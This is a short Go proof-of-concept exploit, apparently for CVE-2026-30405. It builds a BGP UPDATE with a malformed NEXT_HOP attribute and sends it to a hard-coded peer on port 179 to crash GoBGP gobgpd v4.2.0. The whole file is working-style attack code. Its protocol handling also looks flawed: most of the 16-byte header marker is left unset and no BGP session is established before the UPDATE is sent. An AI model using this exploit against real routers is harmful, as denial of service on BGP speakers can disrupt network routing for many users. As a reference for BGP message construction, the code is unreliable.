// CVE-2026-30405 PoC - Malicious BGP UPDATE with malformed NEXT_HOP
// This PoC demonstrates sending a crafted BGP UPDATE message with invalid NEXT_HOP attribute
// to trigger DoS in GoBGP gobgpd v4.2.0
package main
import (
"encoding/binary"
"fmt"
"net"
)
func buildBGPHeader(msgType byte, length uint16) []byte {
header := make([]byte, 19)
header[0] = 0xFF // Marker
binary.BigEndian.PutUint16(header[16:18], length)
header[18] = msgType
return header
}
func buildMalformedNextHopAttr() []byte {
// Malformed NEXT_HOP attribute with invalid length or address
attr := []byte{
0x40, 0x03, // Attribute flags and type (NEXT_HOP)
0x08, // Incorrect length: 8 bytes (should be 4 for IPv4)
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Invalid IPv6-like address
}
return attr
}
func buildMalformedBGPUpdate() []byte {
withdrawnLen := uint16(0)
attr := buildMalformedNextHopAttr()
nlri := []byte{} // Empty NLRI
totalLen := 19 + 2 + withdrawnLen + 2 + uint16(len(attr)) + uint16(len(nlri))
msg := buildBGPHeader(0x02, totalLen)
msg = append(msg, binary.BigEndian.AppendUint16(nil, withdrawnLen)...)
msg = append(msg, binary.BigEndian.AppendUint16(nil, uint16(len(attr)))...)
msg = append(msg, attr...)
msg = append(msg, nlri...)
return msg
}
func main() {
target := "192.168.1.100:179"
conn, err := net.Dial("tcp", target)
if err != nil {
fmt.Printf("Connection failed: %v\n", err)
return
}
defer conn.Close()
// Send malformed BGP UPDATE
malformedUpdate := buildMalformedBGPUpdate()
_, err = conn.Write(malformedUpdate)
if err != nil {
fmt.Printf("Send failed: %v\n", err)
return
}
fmt.Println("Malformed BGP UPDATE sent to trigger CVE-2026-30405")
}